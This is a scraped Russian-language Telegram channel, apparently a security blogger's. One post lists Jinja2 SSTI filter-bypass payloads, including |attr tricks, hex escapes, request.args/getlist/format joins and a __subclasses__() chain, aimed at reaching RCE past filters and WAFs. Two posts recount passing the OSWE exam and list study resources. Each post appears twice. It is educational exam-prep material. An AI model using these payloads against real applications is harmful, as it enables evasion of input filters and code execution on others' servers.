[Обход фильтров в SSTI в Jinja2]
Не так давно в рамках подготовки к OSWE столкнулся с необходимостью обходить фильтры SSTI, проверяющие непосредственный темплейт.
Уязвимое приложение проверяло наличие
Поэтому ловите несколько способов модификации пейлоада, чтобы обойти подобные фильтры или даже WAF целиком:
🔸 Для обхода фильтра по
🔸 Можно использовать сложение строк или закодировать
🔸 Также можно обратиться к атрибутам по индексу
🔸 Кроме того, можно использовать
🔸 Для обхода фильтра по
🔸 Для обхода фильтра по
🔸 В случае, если встретился фильтр по
Конечно количество фильтров может быть разнообразным, но тут уже скорее встает вопрос комбинации предложенных выше методов. 👆
Для закрепления я разработал небольшой стенд 🔥. Кому будет интересно, то можете проверить знания и навыки в деле!
@GigaHack
#web #stand #SSTI #learn #OSWE
Не так давно в рамках подготовки к OSWE столкнулся с необходимостью обходить фильтры SSTI, проверяющие непосредственный темплейт.
Уязвимое приложение проверяло наличие
.__
в строке передаваемого темплейта, что не давало просто использовать пейлоад из HackTricks и наслаждаться RCE на уязвимой машине. Поэтому ловите несколько способов модификации пейлоада, чтобы обойти подобные фильтры или даже WAF целиком:
🔸 Для обхода фильтра по
.__
можно использовать |attr()
{{ ''|attr('__class__’)}}
🔸 Можно использовать сложение строк или закодировать
{{request|attr("__"+"class"+"__")}}
{{''['\x5f\x5fclass\x5f\x5f']}}
🔸 Также можно обратиться к атрибутам по индексу
request["__class__"]
🔸 Кроме того, можно использовать
Statements
для определения переменных в темплейте{% set string = "ssti" %}
{% set class = "__class__" %}
{{ string|attr(class)}}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
🔸 Для обхода фильтра по
__
можно использовать requests.args
для передачи частей полезной нагрузки в параметрах запроса и |join
для соединения элементов в одну строку{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
🔸 Для обхода фильтра по
[]
можно использовать |getlist()
. Данный метод возвращает всех значения, связанные с определенным ключом в запросе{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
🔸 В случае, если встретился фильтр по
|join
, можно использовать |format
для форматирования строк по переданным значениями{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Конечно количество фильтров может быть разнообразным, но тут уже скорее встает вопрос комбинации предложенных выше методов. 👆
Для закрепления я разработал небольшой стенд 🔥. Кому будет интересно, то можете проверить знания и навыки в деле!
@GigaHack
#web #stand #SSTI #learn #OSWE
[Сдача OSWE]
Всем привет!👋
Совсем недавно совершил для себя важный шаг в своей карьере — получил сертификат OSWE. Стоит отметить, что для меня это оказалось не совсем простой историей.
Моя первая попытка не увенчалась успехом. Уже сейчас я понимаю, что причинами моего поражения были волнение и излишняя торопливость, так как тренировочные лаборатории я решал буквально за 2-3 часа на машину вместе с автоматизацией. Это дало мне ложное представление, что экзамен будет таким же.
В результате первой попытки сдачи я пару раз провалился в rabbit hole и потратил кучу времени в попытках раскрутить уязвимости, которые ни к чему не вели. Как итог — потеря настроения, сил и концентрации.
После того как доступ к машинам протух, я написал отчет из того, что смог сделать, и изложил там свои мысли, которые у меня были касаемо двух нераскрученных уязвимостей. После этого отправил отчет и стал отсыпаться. Сил и настроения не было от слова совсем.
Вторая моя попытка была уже в 2025 году. Я ворвался на пересдачу сразу после начала рабочих будней. В результате мне удалось набрать необходимое количество флагов и написать отчет. Я бы не сказал, что мне было просто, но предыдущий опыт поставил мозги "на место". Я уже не закапывался в дебри, а старался смотреть на уязвимости более шаблонно и внимательнее читать различные cheet sheet и статьи. Как итог — все получилось... Ответ я получил очень быстро, буквально через пару дней. Когда увидел, что сдал, у меня было только одно чувство — облегчение.
P.S В следующих статьях я рассмотрю ресурсы и методологию, которую использовал при подготовке
@GigaHack
#OSWE #WEB
Всем привет!
Совсем недавно совершил для себя важный шаг в своей карьере — получил сертификат OSWE. Стоит отметить, что для меня это оказалось не совсем простой историей.
Моя первая попытка не увенчалась успехом. Уже сейчас я понимаю, что причинами моего поражения были волнение и излишняя торопливость, так как тренировочные лаборатории я решал буквально за 2-3 часа на машину вместе с автоматизацией. Это дало мне ложное представление, что экзамен будет таким же.
В результате первой попытки сдачи я пару раз провалился в rabbit hole и потратил кучу времени в попытках раскрутить уязвимости, которые ни к чему не вели. Как итог — потеря настроения, сил и концентрации.
После того как доступ к машинам протух, я написал отчет из того, что смог сделать, и изложил там свои мысли, которые у меня были касаемо двух нераскрученных уязвимостей. После этого отправил отчет и стал отсыпаться. Сил и настроения не было от слова совсем.
Вторая моя попытка была уже в 2025 году. Я ворвался на пересдачу сразу после начала рабочих будней. В результате мне удалось набрать необходимое количество флагов и написать отчет. Я бы не сказал, что мне было просто, но предыдущий опыт поставил мозги "на место". Я уже не закапывался в дебри, а старался смотреть на уязвимости более шаблонно и внимательнее читать различные cheet sheet и статьи. Как итог — все получилось... Ответ я получил очень быстро, буквально через пару дней. Когда увидел, что сдал, у меня было только одно чувство — облегчение.
P.S В следующих статьях я рассмотрю ресурсы и методологию, которую использовал при подготовке
@GigaHack
#OSWE #WEB
Please open Telegram to view this post
VIEW IN TELEGRAM
[ Сдача OSWE часть 2]
Всем привет!👋
В продолжении истории о сдаче OSWE я хочу поговорить о том, как проходила моя подготовка к экзамену.
Для начала я отметил для себя, что моя главная цель при подготовке к экзамену — это научиться разбираться в исходном коде, написанном на различных стеках и с использованием определенных паттернов. На словах это звучит просто, но на деле это оказалось довольно обширной задачей, которую не получилось бы уместить в трех месячный курс (материалы к экзамену OSWE можно купить сроком на 3 мес. или на 1 год).
В моей компании пошли ко мне на встречу, за что я ей благодарен. В итоге мне купили курс на 1 год. Это позволило мне без спешки проходить все разделы с максимальным погружением.
Процесс обучения я построил по принципу главное разобраться, не спеши. Обучение было построено на сочетании: программа OSWE + чтение ресурсов с перечнем статей для подготовки. Это позволило увеличить покрытие.
В целом главными моими талмудами были:
➡️ Агрегированный материал от Z-r0crypt
➡️ Полезный github
➡️ Материал от Hack The Box по OSWE
Количество ресурсов, что я пропылесосил конечно больше, но в целом эти 3 в качестве старта вполне хороши.
Для практики пользовался:
➡️ Список машин с HTB для OffSec-экзаменов
➡️ Гугл-документ со списком полезных машин к решению — OSWE like машины на HTB
➡️ TUDO — уязвимое приложение на PHP
➡️ Vulnerable Node — уязвимое приложение на NodeJS
Самое главная отличительная особенность OSWE — это необходимость автоматизации. Для меня это не было особой проблемой, но стряхнуть пыль с python нужно было. Единственной сложностью пожалуй было - это "распоточить" выполнение таких процессов как запуск HTTP-сервера, открытие порта для реверса.
На Github множество ресурсов, где делятся сниппетами кода из которых как из кубиков вы потенциально сможете собрать свой собственный эксплоит. Я не сторонник данного метода и вам не советую.
В итоге процесс обучения состоял из следующих шагов:
1️⃣ При чтении разделов, как только речь заходила о том, что меня как читателя вели за ручку до уязвимости (все лабораторные в методичках содержат пошаговые write-up-ы), я начинал самостоятельно искать уязвимость. Единственное, что для меня оставалось подсказкой — это ее название. Остальное же было моей задачей. С высоты прошедшего пути могу сказать, что такой подход дал свои плоды, но времени на это уходило очень много.
2️⃣ После обнаружения уязвимости и ее эксплуатации, я писал автоматизацию всего процесса в качестве тренировки.
3️⃣ Далее я решал HTB с похожими уязвимостями, чтобы закрепить пройденный материал.
Примерно из таких 3 циклически-повторяющихся шагов и состояло все мое обучение. Таким образом, я в сентябре вплотную подошел к лабораторным, которых я не делал. Я хотел сделать себе тестовый экзамен по всем канонам. Лично мне это было необходимо для того, чтобы отработать написание отчета и посмотреть сколько вообще на это необходимо времени.
Примерно из этого состояла моя подготовка. Сейчас могу сказать, что если бы я сдавал снова, то сделал примерно также.
Всем кто сдает OSWE или что-то ещё, удачи!!! Помните, что это просто экзамен💼
P.S Я бы не рассматривал свой метод как ультимативный гайд, но надеюсь, что вы найдете для себя что-то полезное в моих словах.
@GigaHack
#OSWE #web
Всем привет!
В продолжении истории о сдаче OSWE я хочу поговорить о том, как проходила моя подготовка к экзамену.
Для начала я отметил для себя, что моя главная цель при подготовке к экзамену — это научиться разбираться в исходном коде, написанном на различных стеках и с использованием определенных паттернов. На словах это звучит просто, но на деле это оказалось довольно обширной задачей, которую не получилось бы уместить в трех месячный курс (материалы к экзамену OSWE можно купить сроком на 3 мес. или на 1 год).
В моей компании пошли ко мне на встречу, за что я ей благодарен. В итоге мне купили курс на 1 год. Это позволило мне без спешки проходить все разделы с максимальным погружением.
Процесс обучения я построил по принципу главное разобраться, не спеши. Обучение было построено на сочетании: программа OSWE + чтение ресурсов с перечнем статей для подготовки. Это позволило увеличить покрытие.
В целом главными моими талмудами были:
Количество ресурсов, что я пропылесосил конечно больше, но в целом эти 3 в качестве старта вполне хороши.
Для практики пользовался:
Самое главная отличительная особенность OSWE — это необходимость автоматизации. Для меня это не было особой проблемой, но стряхнуть пыль с python нужно было. Единственной сложностью пожалуй было - это "распоточить" выполнение таких процессов как запуск HTTP-сервера, открытие порта для реверса.
На Github множество ресурсов, где делятся сниппетами кода из которых как из кубиков вы потенциально сможете собрать свой собственный эксплоит. Я не сторонник данного метода и вам не советую.
В итоге процесс обучения состоял из следующих шагов:
Примерно из таких 3 циклически-повторяющихся шагов и состояло все мое обучение. Таким образом, я в сентябре вплотную подошел к лабораторным, которых я не делал. Я хотел сделать себе тестовый экзамен по всем канонам. Лично мне это было необходимо для того, чтобы отработать написание отчета и посмотреть сколько вообще на это необходимо времени.
Примерно из этого состояла моя подготовка. Сейчас могу сказать, что если бы я сдавал снова, то сделал примерно также.
Всем кто сдает OSWE или что-то ещё, удачи!!! Помните, что это просто экзамен
P.S Я бы не рассматривал свой метод как ультимативный гайд, но надеюсь, что вы найдете для себя что-то полезное в моих словах.
@GigaHack
#OSWE #web
Please open Telegram to view this post
VIEW IN TELEGRAM